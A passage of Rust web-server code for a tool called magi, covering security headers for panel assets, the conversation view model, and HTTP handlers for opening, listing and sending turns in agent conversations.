7070/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7071/// magi's origin - which is precisely the thing the panel design exists to
7072/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7073///
7074/// `nosniff` accompanies this on every response, so a browser cannot decide it
7075/// knows better than the type we sent.
7076fn asset_content_type(name: &str) -> &'static str {
7077    match extension(name).as_deref() {
7078        Some("png") => "image/png",
7079        Some("jpg" | "jpeg") => "image/jpeg",
7080        Some("gif") => "image/gif",
7081        Some("webp") => "image/webp",
7082        Some("svg") => "image/svg+xml",
7083        Some("css") => "text/css; charset=utf-8",
7084        Some("txt") => "text/plain; charset=utf-8",
7085        _ => "application/octet-stream",
7086    }
7087}
7088
7089/// Is this an SVG, and therefore a file that must never be opened at the top
7090/// level?
7091fn is_svg(name: &str) -> bool {
7092    extension(name).as_deref() == Some("svg")
7093}
7094
7095/// Lowercased extension, or `None` for a name without one.
7096fn extension(name: &str) -> Option<String> {
7097    name.rsplit_once('.')
7098        .map(|(_, ext)| ext.to_ascii_lowercase())
7099}
7100
7101/// Every panel response, with the four headers that make it safe and, for an
7102/// SVG, a fifth.
7103///
7104/// One function rather than a header list per handler, because a panel route
7105/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7106/// model gone, silently, on one of two routes. Adding a third panel route later
7107/// means calling this, and there is nowhere else to build a panel response.
7108///
7109/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7110/// as an `<img src>` inside the panel that script cannot run - but the asset
7111/// URL is also a plain URL an operator can be talked into opening in a tab,
7112/// where it is a document on magi's own origin. `Content-Disposition:
7113/// attachment` makes the browser download it instead of rendering it, which
7114/// closes that door without taking away the ability to draw a diff. Raster
7115/// images have no such execution surface and are left inline, so tapping a
7116/// screenshot still shows it.
7117fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7118    let mut res = (
7119        [
7120            (header::CONTENT_TYPE, content_type),
7121            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7122            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7123            (header::REFERRER_POLICY, "no-referrer"),
7124        ],
7125        body,
7126    )
7127        .into_response();
7128    if download {
7129        res.headers_mut().insert(
7130            header::CONTENT_DISPOSITION,
7131            HeaderValue::from_static("attachment"),
7132        );
7133    }
7134    res
7135}
7136
7137/// A talk as the phone reads it.
7138///
7139/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7140/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7141/// parses markdown itself - and the process-local `thinking` hint.
7142#[derive(Debug, Serialize)]
7143struct TalkView {
7144    #[serde(flatten)]
7145    talk: Talk,
7146    turn_bodies_md: Vec<Vec<md::Node>>,
7147    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7148    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7149    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7150    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7151    /// this server process.
7152    ///
7153    /// This is deliberately not durable: another server process cannot see
7154    /// it, and a restarted server must not claim an old turn is live. It is a
7155    /// progress hint rather than proof a reply landed; the transcript remains
7156    /// the source of truth for that.
7157    thinking: bool,
7158    /// Context-window usage, derived per request - see
7159    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7160    /// and each mutation) so the phone needs no extra call or polling.
7161    context: talk::ContextUsage,
7162    /// `[talk] operator_name`, when configured; the Chat labels the
7163    /// operator's turns with it.
7164    operator_name: Option<String>,
7165    /// The active persona's display name; `None` for the default voice.
7166    persona_name: Option<String>,
7167    /// URL of the avatar for the conversation's persona (the default voice
7168    /// included). Server-built; a configured `icon` never reaches the client.
7169    persona_avatar: String,
7170    /// Operator avatar; display only and independent of repository config.
7171    operator_avatar: String,
7172    magi_avatar: String,
7173}
7174
7175impl TalkView {
7176    /// Reads the talk's repository config itself; a config that cannot be
7177    /// read leaves the window unknown but never fails the conversation.
7178    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7179        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7180        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7181    }
7182
7183    /// As [`Self::new`], with the config already in hand (the list reads one
7184    /// per repository, not one per conversation).
7185    fn with_config(
7186        talk: Talk,
7187        thinking: bool,
7188        cfg: Option<&Config>,
7189        home: &FsPath,
7190        cache: &id_links::IndexCache,
7191    ) -> Self {
7192        let references = cache.for_talk(home, &talk);
7193        Self::with_references(talk, thinking, cfg, home, &references)
7194    }
7195
7196    fn with_references(
7197        mut talk: Talk,
7198        thinking: bool,
7199        cfg: Option<&Config>,
7200        home: &FsPath,
7201        references: &id_links::IdIndex,
7202    ) -> Self {
7203        // This owned value is the display DTO; never write it back to the talk store.
7204        let snapshot = talk.clone();
7205        for (index, turn) in talk.turns.iter_mut().enumerate() {
7206            let original = &snapshot.turns[index];
7207            if turn.messages.is_empty() {
7208                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7209                    turn.messages.push(talk::Message {
7210                        sender: Some(talk::Sender::Magi),
7211                        body: original.body.clone(),
7212                        display: Some(display),
7213                        attachments: original.attachments.clone(),
7214                        reply: None,
7215                    });
7216                }
7217            } else {
7218                for (i, message) in turn.messages.iter_mut().enumerate() {
7219                    message.display =
7220                        talk::notice_display(&snapshot, original, original.messages.get(i));
7221                    if message.display.is_some() {
7222                        message.sender = Some(talk::Sender::Magi);
7223                    }
7224                }
7225            }
7226        }
7227        for message in &mut talk.pending_messages {
7228            if message.display.is_none()
7229                && (message.sender == Some(talk::Sender::Magi)
7230                    || snapshot
7231                        .completion_notices
7232                        .iter()
7233                        .any(|r| r.notice == message.body))
7234            {
7235                message.display = crate::prompt::legacy_notice_display(&message.body);
7236                if message.display.is_some() {
7237                    message.sender = Some(talk::Sender::Magi);
7238                }
7239            }
7240        }
7241        if talk.pending_messages.is_empty()
7242            && snapshot
7243                .completion_notices
7244                .iter()
7245                .any(|r| r.notice == talk.pending)
7246            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7247        {
7248            talk.pending_messages.push(talk::Message {
7249                sender: Some(talk::Sender::Magi),
7250                display: Some(display),
7251                body: talk.pending.clone(),
7252                attachments: talk.pending_attachments.clone(),
7253                reply: None,
7254            });
7255        }
7256        let excerpts: Vec<Vec<Option<String>>> = talk
7257            .turns
7258            .iter()
7259            .map(|turn| {
7260                turn.messages
7261                    .iter()
7262                    .map(|m| {
7263                        m.display
7264                            .as_ref()
7265                            .map(|d| d.facts.chars().take(240).collect())
7266                    })
7267                    .collect()
7268            })
7269            .collect();
7270        for turn in &mut talk.turns {
7271            let provenance = talk::sender(turn, None);
7272            turn.sender = Some(provenance);
7273            for message in &mut turn.messages {
7274                message.sender = Some(message.sender.unwrap_or(provenance));
7275            }
7276        }
7277        // Old reply snapshots have only a role; recover provenance from their target.
7278        let senders: Vec<Vec<talk::Sender>> = talk
7279            .turns
7280            .iter()
7281            .map(|turn| {
7282                if turn.messages.is_empty() {
7283                    vec![talk::sender(turn, None)]
7284                } else {
7285                    turn.messages
7286                        .iter()
7287                        .map(|m| talk::sender(turn, Some(m)))
7288                        .collect()
7289                }
7290            })
7291            .collect();
7292        for reply in talk
7293            .turns
7294            .iter_mut()
7295            .flat_map(|t| t.messages.iter_mut())
7296            .chain(talk.pending_messages.iter_mut())
7297            .filter_map(|m| m.reply.as_mut())
7298        {
7299            if let Some(Some(excerpt)) = excerpts
7300                .get(reply.target.turn)
7301                .and_then(|ms| ms.get(reply.target.message))
7302            {
7303                reply.excerpt = excerpt.clone();
7304                reply.sender = Some(talk::Sender::Magi);
7305            }
7306            if reply.sender.is_none() {
7307                reply.sender = senders
7308                    .get(reply.target.turn)
7309                    .and_then(|messages| messages.get(reply.target.message))
7310                    .copied();
7311            }
7312        }
7313        let context = talk::context_usage(&talk, cfg);
7314        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
7315            .turns
7316            .iter()
7317            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7318            .collect();
7319        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
7320            .turns
7321            .iter()
7322            .map(|turn| {
7323                if turn.messages.is_empty() {
7324                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7325                } else {
7326                    turn.messages
7327                        .iter()
7328                        .map(|message| {
7329                            notice_markdown(
7330                                message.sender.unwrap_or(talk::Sender::Operator),
7331                                &message.body,
7332                                message.display.as_ref(),
7333                            )
7334                        })
7335                        .collect()
7336                }
7337            })
7338            .collect();
7339        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
7340            .pending_messages
7341            .iter()
7342            .map(|message| {
7343                notice_markdown(
7344                    message.sender.unwrap_or(talk::Sender::Operator),
7345                    &message.body,
7346                    message.display.as_ref(),
7347                )
7348            })
7349            .collect();
7350        for nodes in &mut turn_bodies_md {
7351            references.markdown(nodes);
7352        }
7353        for nodes in turn_messages_md
7354            .iter_mut()
7355            .flatten()
7356            .chain(pending_messages_md.iter_mut())
7357            .flatten()
7358        {
7359            references.markdown(nodes);
7360        }
7361        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7362        let persona_name = persona::find(specs, &talk.persona)
7363            .filter(|p| !p.is_default())
7364            .map(|p| p.name);
7365        let mut avatar_persona = persona::find(specs, &talk.persona)
7366            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
7367        // A removed configured persona may still have an override and old talks.
7368        if avatar_persona.id != talk.persona
7369            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
7370        {
7371            avatar_persona.id.clone_from(&talk.persona);
7372            avatar_persona.icon = None;
7373        }
7374        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
7375        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7376        Self {
7377            turn_bodies_md,
7378            turn_messages_md,
7379            pending_messages_md,
7380            thinking,
7381            context,
7382            operator_name,
7383            persona_name,
7384            persona_avatar,
7385            magi_avatar: magi_icon_url(home),
7386            operator_avatar: operator_icon_url(home),
7387            talk,
7388        }
7389    }
7390}
7391
7392/// Parse only the user-facing representation of an explicitly identified MAGI send.
7393fn notice_markdown(
7394    sender: talk::Sender,
7395    body: &str,
7396    display: Option<&crate::prompt::NoticeDisplay>,
7397) -> Option<Vec<md::Node>> {
7398    if sender != talk::Sender::Magi {
7399        return None;
7400    }
7401    let text = if let Some(display) = display {
7402        display.facts.as_str()
7403    } else {
7404        // Unknown completion templates may contain internal directives. Never
7405        // promote their agent input to the Markdown display surface.
7406        if crate::prompt::is_completion_notice(body)
7407            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7408        {
7409            return None;
7410        }
7411        body.strip_prefix("magi: ").unwrap_or(body)
7412    };
7413    Some(md::to_nodes(text, &md::ImageBase::None))
7414}
7415
7416/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
7417/// conversation has filed, so the phone can follow one from inside the
7418/// conversation that asked for it rather than hunting the Queue for a task id
7419/// it may not remember.
7420#[derive(Debug, Serialize)]
7421struct TalkDetailView {
7422    #[serde(flatten)]
7423    view: TalkView,
7424    tasks: Vec<TaskView>,
7425    task_progress: TalkTaskProgress,
7426    /// The agents this talk's repository can switch to; empty when its
7427    /// configuration cannot be read, which must not fail the whole detail.
7428    roster: Vec<RosterEntry>,
7429    /// The personas the conversation can pick from. The built-ins are always
7430    /// listed, even when the repository's configuration cannot be read.
7431    personas: Vec<PersonaEntry>,
7432}
7433
7434/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
7435#[derive(Debug, Serialize)]
7436struct TalkTaskProgress {
7437    state: &'static str,
7438    total: usize,
7439    done: usize,
7440    counts: std::collections::BTreeMap<&'static str, usize>,
7441    unfinished_ids: Vec<String>,
7442}
7443
7444fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
7445    let mut counts = std::collections::BTreeMap::from([
7446        ("queued", 0),
7447        ("running", 0),
7448        ("done", 0),
7449        ("failed", 0),
7450        ("held", 0),
7451        ("blocked", 0),
7452        ("parked", 0),
7453    ]);
7454    let mut unfinished_ids = Vec::new();
7455    for task in tasks {
7456        *counts.entry(task.status.as_str()).or_default() += 1;
7457        if task.status != TaskStatus::Done {
7458            unfinished_ids.push(task.id.clone());
7459        }
7460    }
7461    TalkTaskProgress {
7462        state: if tasks.is_empty() {
7463            "none"
7464        } else if unfinished_ids.is_empty() {
7465            "complete"
7466        } else {
7467            "incomplete"
7468        },
7469        total: tasks.len(),
7470        done: tasks.len() - unfinished_ids.len(),
7471        counts,
7472        unfinished_ids,
7473    }
7474}
7475
7476/// One persona as the talk's persona selector shows it.
7477#[derive(Debug, Serialize)]
7478struct PersonaEntry {
7479    id: String,
7480    name: String,
7481    /// Avatar URL, see [`TalkView::persona_avatar`].
7482    avatar: String,
7483}
7484
7485/// One roster agent as the talk's agent selector shows it.
7486#[derive(Debug, Serialize)]
7487struct RosterEntry {
7488    id: String,
7489    kind: AgentKind,
7490    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
7491    runnable: bool,
7492}
7493
7494/// `GET /api/talks`.
7495///
7496/// Every conversation, open ones first and newest first - [`Talks::list`]'s
7497/// own order.
7498async fn talks_list(
7499    State(ui): State<Arc<Ui>>,
7500    Query(q): Query<ListQuery>,
7501) -> ApiResult<Json<Vec<TalkView>>> {
7502    blocking(move || {
7503        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7504        let talks = ui.talks.list();
7505        let references = if talks.iter().any(id_links::has_references) {
7506            ui.references.get(
7507                &ui.runs,
7508                &ui.queue,
7509                &ui.questions,
7510                &ui.talks,
7511                talks.iter().any(id_links::has_findings),
7512            )
7513        } else {
7514            Arc::new(id_links::IdIndex::default())
7515        };
7516        Ok(Json(
7517            talks
7518                .into_iter()
7519                .filter(|talk| q.contains(&talk.id))
7520                .map(|talk| {
7521                    let thinking = ui.is_thinking(&talk.id);
7522                    let cfg = configs
7523                        .entry(talk.repo.clone())
7524                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7525                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
7526                })
7527                .collect(),
7528        ))
7529    })
7530    .await
7531}
7532
7533/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
7534/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
7535/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
7536/// end still opens a talk against an older binary.
7537#[derive(Debug, Default, Deserialize)]
7538#[serde(default)]
7539struct NewTalk {
7540    agent: Option<String>,
7541    repo: Option<PathBuf>,
7542    /// Remembered choices from the browser. Soft: kept as raw JSON so a
7543    /// wrong type is dropped like a stale value instead of failing the request;
7544    /// each falls back to its default on its own (see [`talk::begin_with`]).
7545    preferred_agent: Option<serde_json::Value>,
7546    persona: Option<serde_json::Value>,
7547    implementers: Option<serde_json::Value>,
7548}
7549
7550/// `POST /api/talks` - open a conversation. Takes no agent turn: see
7551/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
7552async fn talk_post(
7553    State(ui): State<Arc<Ui>>,
7554    body: std::result::Result<Json<NewTalk>, JsonRejection>,
7555) -> ApiResult<impl IntoResponse> {
7556    // An absent body, or an empty one, is the normal way to open a talk - see
7557    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
7558    // rather than refused.
7559    let body = match body {
7560        Ok(Json(body)) => body,
7561        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7562        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7563    };
7564    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7565    let cfg = config_for(&repo).await?;
7566    let view = blocking(move || {
7567        let preferred = talk::Preferred {
7568            agent: body
7569                .preferred_agent
7570                .as_ref()
7571                .and_then(|v| v.as_str())
7572                .map(str::to_owned),
7573            persona: body
7574                .persona
7575                .as_ref()
7576                .and_then(|v| v.as_str())
7577                .map(str::to_owned),
7578            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7579        };
7580        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7581        let thinking = ui.is_thinking(&talk.id);
7582        Ok(TalkView::new(talk, thinking, &ui))
7583    })
7584    .await?;
7585    Ok((StatusCode::CREATED, Json(view)))
7586}
7587
7588/// `GET /api/talks/{id}`.
7589async fn talk_detail(
7590    State(ui): State<Arc<Ui>>,
7591    Path(id): Path<String>,
7592) -> ApiResult<Json<TalkDetailView>> {
7593    blocking(move || {
7594        let id = resolve_talk(&ui.talks, &id)?;
7595        let talk = ui.talks.get(&id)?;
7596        let thinking = ui.is_thinking(&talk.id);
7597        let tasks = talk::tasks_of(&ui.queue, &talk.id);
7598        let task_progress = talk_task_progress(&tasks);
7599        let tasks = tasks.into_iter().map(TaskView::from).collect();
7600        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7601        let roster = cfg
7602            .as_ref()
7603            .map(|cfg| {
7604                cfg.agents
7605                    .iter()
7606                    .map(|a| RosterEntry {
7607                        id: a.id.clone(),
7608                        kind: a.kind,
7609                        runnable: agent::installed(a),
7610                    })
7611                    .collect()
7612            })
7613            .unwrap_or_default();
7614        let specs = cfg
7615            .as_ref()
7616            .map(|cfg| cfg.talk.personas.clone())
7617            .unwrap_or_default();
7618        let personas = persona::catalog(&specs)
7619            .into_iter()
7620            .map(|p| PersonaEntry {
7621                avatar: avatar_url(&ui.home, &talk.id, &p),
7622                id: p.id,
7623                name: p.name,
7624            })
7625            .collect();
7626        Ok(Json(TalkDetailView {
7627            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
7628            tasks,
7629            task_progress,
7630            roster,
7631            personas,
7632        }))
7633    })
7634    .await
7635}
7636
7637/// The body of `POST /api/talks/{id}/say`.
7638///
7639/// `attachments` names ids `POST /api/talks/{id}/attachments` already
7640/// returned - never bytes of its own - so a turn with no images just omits
7641/// the field, which is what an older front end still does.
7642#[derive(Debug, Default, Deserialize)]
7643#[serde(default, deny_unknown_fields)]
7644struct NewTalkTurn {
7645    reply_to: Option<talk::ReplyTarget>,
7646    text: String,
7647    attachments: Vec<String>,
7648}
7649
7650#[derive(Debug, Deserialize)]
7651#[serde(deny_unknown_fields)]
7652struct EditTalkPending {
7653    #[serde(default)]
7654    message: Option<usize>,
7655    text: String,
7656    expected_text: String,
7657    expected_attachments: Vec<String>,
7658}
7659
7660#[derive(Debug, Deserialize)]
7661#[serde(deny_unknown_fields)]
7662struct ClearTalkPending {
7663    expected_text: String,
7664    expected_attachments: Vec<String>,
7665}
7666
7667/// `POST /api/talks/{id}/say` - one turn of the conversation.
7668///
7669/// Not filesystem work, and therefore not routed through [`blocking`]: this
7670/// route spawns an agent CLI and a turn here can run for the whole of
7671/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
7672/// research turn is expected to run commands rather than answer from what it
7673/// already knows. Holding an HTTP connection open that long is not a thing
7674/// to ask a phone to do; the operator's message is recorded and answered for
7675/// immediately, and the reply lands in the background, discovered through
7676/// the change stream's `talks_rev` the same way every other update on this
7677/// surface is.
7678async fn talk_say(
7679    State(ui): State<Arc<Ui>>,
7680    Path(id): Path<String>,
7681    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7682) -> ApiResult<(StatusCode, Json<TalkView>)> {
7683    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7684    if body.text.trim().is_empty() && body.attachments.is_empty() {
7685        return Err(ApiError::bad_request("say something"));
7686    }
7687
7688    let id = {
7689        let ui = Arc::clone(&ui);
7690        let asked = id.clone();
7691        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7692    };
7693    // A closed Talk never accepts a new immediate or queued turn. Check this
7694    // before claiming a slot so its ordinary domain refusal is a 409, not an
7695    // incidental failure from the later record/queue write.
7696    {
7697        let ui = Arc::clone(&ui);
7698        let id = id.clone();
7699        blocking(move || {
7700            let talk = ui.talks.get(&id)?;
7701            if !talk.status.open() {
7702                return Err(ApiError::conflict(format!(
7703                    "talk {} is {} and takes no more turns",
7704                    talk.short(),
7705                    talk.status.as_str()
7706                )));
7707            }
7708            Ok(())
7709        })
7710        .await?;
7711    }
7712
7713    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
7714    // actually stores, before anything is written - an unknown id is a 4xx
7715    // that names it rather than a turn (or a queued draft) silently missing
7716    // an image.
7717    let attachments = {
7718        let ui = Arc::clone(&ui);
7719        let id = id.clone();
7720        let ids = body.attachments.clone();
7721        blocking(move || {
7722            ids.into_iter()
7723                .map(|att_id| {
7724                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7725                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7726                    })
7727                })
7728                .collect::<ApiResult<Vec<talk::Attachment>>>()
7729        })
7730        .await?
7731    };
7732
7733    // Pending recovery and a new immediate turn are decided under the same
7734    // claim lock. Without that one critical section, a second `/say` can see
7735    // the first request's claim as "busy" and append itself to the recovered
7736    // draft before the first request rejects it.
7737    let start = {
7738        let ui = Arc::clone(&ui);
7739        let id = id.clone();
7740        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7741    };
7742    let turn_guard = match start {
7743        TalkTurnStart::Claimed(turn_guard) => turn_guard,
7744        TalkTurnStart::Pending => {
7745            return Err(ApiError::conflict(
7746                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7747            ));
7748        }
7749        TalkTurnStart::Foreign => {
7750            return Err(ApiError::conflict(
7751                "a turn is already running in another process; try again when it has finished",
7752            ));
7753        }
7754        TalkTurnStart::Busy => {
7755            // A turn is already running: queue rather than refuse. See
7756            // `Ui::begin_talk_turn` and `talk::queue`.
7757            //
7758            // The queue write and the drain it may owe live inside the task
7759            // `tokio::spawn` hands to the runtime, for the same reason the
7760            // immediate path below puts `record` there: a dropped handler
7761            // future must not be able to land between a durable write and
7762            // the task that answers it. `blocking` runs its closure on
7763            // `spawn_blocking`, which finishes whether or not anyone is left
7764            // to receive its result - so a disconnect at the `.await` below
7765            // would otherwise leave the draft persisted and the reclaimed
7766            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
7767            // ever started and the queued text stranded until some later
7768            // `say` happened to pick it up. The caller's 202 travels back
7769            // over a `oneshot`, sent the moment the write lands.
7770            let (tx, rx) = tokio::sync::oneshot::channel();
7771            tokio::spawn({
7772                let ui = Arc::clone(&ui);
7773                let id = id.clone();
7774                let said = body.text.clone();
7775                let reply_to = body.reply_to.clone();
7776                async move {
7777                    let written = blocking({
7778                        let ui = Arc::clone(&ui);
7779                        let id = id.clone();
7780                        move || {
7781                            let mut talk = ui.talks.get(&id)?;
7782                            // A test-only stop point, right before the write
7783                            // an interleaving test needs to pin - see
7784                            // `BusyQueueGate`. `None` in every real server:
7785                            // the field only exists under `#[cfg(test)]`.
7786                            #[cfg(test)]
7787                            if let Some(gate) = ui
7788                                .busy_queue_gate
7789                                .lock()
7790                                .unwrap_or_else(PoisonError::into_inner)
7791                                .take()
7792                            {
7793                                let _ = gate.reached.send(());
7794                                let _ = gate.release.recv();
7795                            }
7796                            if let Err(error) = talk::queue_reply(
7797                                &mut talk,
7798                                &ui.talks,
7799                                &said,
7800                                attachments,
7801                                reply_to,
7802                            ) {
7803                                if let Ok(fresh) = ui.talks.get(&id) {
7804                                    if !fresh.status.open() {
7805                                        return Err(ApiError::conflict(format!(
7806                                            "talk {} is {} and takes no more turns",
7807                                            fresh.short(),
7808                                            fresh.status.as_str()
7809                                        )));
7810                                    }
7811                                }
7812                                return Err(
7813                                    if error.to_string().contains("invalid reply target") {
7814                                        ApiError::bad_request("invalid reply target")
7815                                    } else {
7816                                        ApiError::from(error)
7817                                    },
7818                                );
7819                            }
7820                            // The turn that looked busy a moment ago can have
7821                            // finished, found nothing to drain and given up the
7822                            // slot in the gap between that check and this write
7823                            // landing - see `drain_loop`'s own doc for the other
7824                            // half of why that gap would otherwise be able to
7825                            // open at all. Reclaiming the slot here, rather than
7826                            // trusting that whoever held it is still watching, is
7827                            // what stops the text just queued from being stranded
7828                            // until an unrelated future `say` happens to drain
7829                            // it.
7830                            let claim = match ui.begin_queued_talk_turn(&id)? {
7831                                Some(turn_guard) => {
7832                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7833                                    Some((talk.clone(), cfg, turn_guard))
7834                                }
7835                                None => None,
7836                            };
7837                            let thinking = ui.is_thinking(&id);
7838                            Ok((TalkView::new(talk, thinking, &ui), claim))
7839                        }
7840                    })
7841                    .await;
7842                    let (view, reclaimed) = match written {
7843                        Ok(pair) => pair,
7844                        Err(e) => {
7845                            // Nobody is listening if the handler's own future
7846                            // was already dropped - that is fine, nothing was
7847                            // persisted and there is no response left to carry
7848                            // this error to.
7849                            let _ = tx.send(Err(e));
7850                            return;
7851                        }
7852                    };
7853                    // If this fails, the caller is gone; the drain below still
7854                    // runs exactly as it would have for a caller that stayed.
7855                    let _ = tx.send(Ok(view));
7856                    if let Some((talk, cfg, turn_guard)) = reclaimed {
7857                        let talks = ui.talks.clone();
7858                        drain_loop(talk, talks, cfg, id, turn_guard).await;
7859                    }
7860                }
7861            });
7862            let view = rx
7863                .await
7864                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7865            return Ok((StatusCode::ACCEPTED, Json(view)));
7866        }
7867    };
7868
7869    let (talk, cfg) = {
7870        let ui = Arc::clone(&ui);
7871        let id = id.clone();
7872        blocking(move || {
7873            let talk = ui.talks.get(&id)?;
7874            let (cfg, _) = Config::discover(&talk.repo, None)?;
7875            Ok((talk, cfg))
7876        })
7877        .await?
7878    };
7879
7880    let talks = ui.talks.clone();
7881    // `record` runs *inside* the spawned task, rather than in this handler
7882    // followed by a separate `tokio::spawn` for `respond` - axum drops this
7883    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
7884    // doc), and that drop can land at any `.await` this function makes,
7885    // including one that has already produced its result but not yet
7886    // resumed. A message could end up recorded on disk with the handler
7887    // future gone before it ever reached the `tokio::spawn` that would have
7888    // started the reply. `tokio::spawn` itself is a plain, synchronous call
7889    // that hands the whole future to the runtime as one unit - once made, no
7890    // later drop of *this* handler's own future (that call's return value is
7891    // never held onto here) can reach back in and stop it, so record and the
7892    // hand-off to `respond` are unconditionally atomic from the client's
7893    // point of view. The immediate response this handler owes the caller
7894    // travels back over a `oneshot`, sent the moment `record` succeeds.
7895    let (tx, rx) = tokio::sync::oneshot::channel();
7896    tokio::spawn({
7897        let ui = Arc::clone(&ui);
7898        let talks = talks.clone();
7899        let id = id.clone();
7900        let said = body.text.clone();
7901        let reply_to = body.reply_to.clone();
7902        let mut talk = talk.clone();
7903        async move {
7904            let recorded = blocking({
7905                let talks = talks.clone();
7906                move || {
7907                    if let Err(error) =
7908                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7909                    {
7910                        if let Ok(fresh) = talks.get(&talk.id) {
7911                            if !fresh.status.open() {
7912                                return Err(ApiError::conflict(format!(
7913                                    "talk {} is {} and takes no more turns",
7914                                    fresh.short(),
7915                                    fresh.status.as_str()
7916                                )));
7917                            }
7918                        }
7919                        return Err(if error.to_string().contains("invalid reply target") {
7920                            ApiError::bad_request("invalid reply target")
7921                        } else {
7922                            ApiError::from(error)
7923                        });
7924                    }
7925                    // `record` mutates `talk` in place to the freshly persisted
7926                    // state (status, pending, and the just-appended operator
7927                    // turn), so returning it here is equivalent to re-reading it
7928                    // from disk - without the extra round trip a re-read would
7929                    // need.
7930                    Ok((said.trim().to_owned(), talk))
7931                }
7932            })
7933            .await;
7934            let (text, mut talk) = match recorded {
7935                Ok(pair) => pair,
7936                Err(e) => {
7937                    // Nobody is listening if the handler's own future was
7938                    // already dropped - that is fine, there is no response
7939                    // left to carry this error to and nothing was persisted.
7940                    let _ = tx.send(Err(e));
7941                    return;
7942                }
7943            };
7944            let queued = talk.clone();
7945            let thinking = ui.is_thinking(&id);
7946            // If this fails, the caller is gone; the turn still runs below
7947            // exactly as it would have for a caller that stayed connected.
7948            let _ = tx.send(Ok((queued, thinking)));
7949
7950            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7951                // `respond` records the failure in the transcript itself,
7952                // which is what the phone reads; this line is for the
7953                // operator's terminal.
7954                tracing::warn!("talk {id} turn failed: {e:#}");
7955            }
7956            // Anything `talk::queue` added while the turn above was running
7957            // is still owed an answer - see `drain_loop`.
7958            drain_loop(talk, talks, cfg, id, turn_guard).await;
7959        }
7960    });
7961
7962    let (queued, thinking) = rx
7963        .await
7964        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7965
7966    // 202: the operator's message is recorded and a turn is running.
7967    Ok((
7968        StatusCode::ACCEPTED,
7969        Json(TalkView::new(queued, thinking, &ui)),
7970    ))
7971}
7972
7973/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7974/// changing it. The turn guard is the same per-talk ownership `talk_say`
7975/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7976async fn talk_pending_resume(
7977    State(ui): State<Arc<Ui>>,
7978    Path(id): Path<String>,
7979) -> ApiResult<(StatusCode, Json<TalkView>)> {
7980    let id = {
7981        let ui = Arc::clone(&ui);
7982        let asked = id.clone();
7983        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7984    };
7985    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7986        return Err(ApiError::conflict(
7987            "a talk turn is already running; the queued draft will be handled by it",
7988        ));
7989    };
7990    let (talk, cfg) = {
7991        let ui = Arc::clone(&ui);
7992        let id = id.clone();
7993        blocking(move || {
